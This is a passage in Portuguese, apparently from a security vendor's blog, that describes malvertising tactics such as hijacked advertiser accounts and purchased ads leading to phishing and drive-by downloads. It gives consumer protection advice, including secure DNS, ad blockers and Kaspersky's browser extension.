A empresa não divulgou informações sobre quantos usuários foram afetados nem sobre quantos sites ainda veiculam conteúdo e anúncios por HTTP.
Anúncios maliciosos fazem parte do nosso dia a dia
Infelizmente, anúncios on-line perigosos se tornaram um problema sistêmico. E não estamos falando apenas de anúncios de suplementos de procedência duvidosa ou de jogos de azar. Estamos falando de anúncios que disseminam malware ou levam a sites criados para roubar dados de pagamento e outras informações valiosas. Os invasores construíram uma infraestrutura em escala industrial para realizar esse tipo de ataque e utilizam diversas abordagens.
• Sequestro das contas de anúncios de marcas legítimas e respeitáveis. Basta roubar a senha de alguém da equipe de marketing. A partir daí, os cibercriminosos veiculam anúncios se passando pela empresa que invadiram e promovendo atualizações falsas de aplicativos, promoções fraudulentas e golpes semelhantes. Nos piores casos, como nas invasões de contas da adtech.de e da adxpansion.com, os invasores conseguiram veicular anúncios que redirecionavam as vítimas diretamente para a instalação automática de malware (downloads drive-by).
• Comprar anúncios diretamente. Isso mesmo. Os invasores simplesmente criam suas próprias contas de anunciante e veiculam anúncios para seus sites de phishing e malware, como qualquer outra empresa na Internet.
Como os anúncios aparecem praticamente em todos os lugares, em sites, aplicativos e redes sociais, essas ameaças podem surgir em praticamente qualquer contexto. E existem variações dessa ameaça tanto em computadores quanto em dispositivos móveis.
• Use um serviço de DNS seguro com filtragem de conteúdo integrada. Eles são eficazes no bloqueio da maioria das redes de anúncios conhecidas. A ideia é simples: sempre que seu dispositivo tenta se conectar a um servidor, o serviço DNS bloqueia solicitações para domínios de anúncios conhecidos. Isso desativa os anúncios em todos os lugares de uma só vez: em smart TVs, em todos os navegadores e em aplicativos para dispositivos móveis. Alguns provedores de Internet oferecem esse serviço, mas uma solução mais simples e universal é configurar o DNS seguro no roteador da sua casa seguindo nosso guia.
• Ative os bloqueadores de anúncios e rastreadores em sua solução completa de cibersegurança. Recomendamos Kaspersky Premium, que chama esse recurso de Antibanner. Esse tipo de proteção é especialmente importante durante viagens, pois o DNS seguro pode causar problemas de conexão em hotéis, restaurantes e aeroportos.
• Use proteção para o navegador. Um software de segurança básico pode impedir o download e a execução de um malware de roubo de dados, mas um pequeno script, como o usado no ataque ao Adform, ainda pode passar despercebido. Para se proteger contra esse tipo de ameaça, use uma solução capaz de analisar o que realmente está acontecendo no navegador. No Kaspersky Premium, esse recurso é oferecido pela extensão de navegador Kaspersky Protection. Ela protege contra a coleta de dados on-line, bloqueia banners de anúncios, protege seus pagamentos, protege o que você digita e bloqueia ataques de phishing.
Quer saber quais outros riscos podem estar escondidos nos anúncios on-line e como se proteger? Confira outras postagens:
Discover how Microsoft forces Bing as the default search engine using a new, aggressive standalone application that alters third-party browser settings.
Discover how upcoming Windows 11 unified memory features will let users allocate RAM between the CPU, GPU, and NPU for optimized gaming and AI performance.
Microsoft links recent Windows 11 game crashes to problematic RGB lighting drivers. Learn how to temporarily disable the inpoutx64 driver via the registry.
Entrar
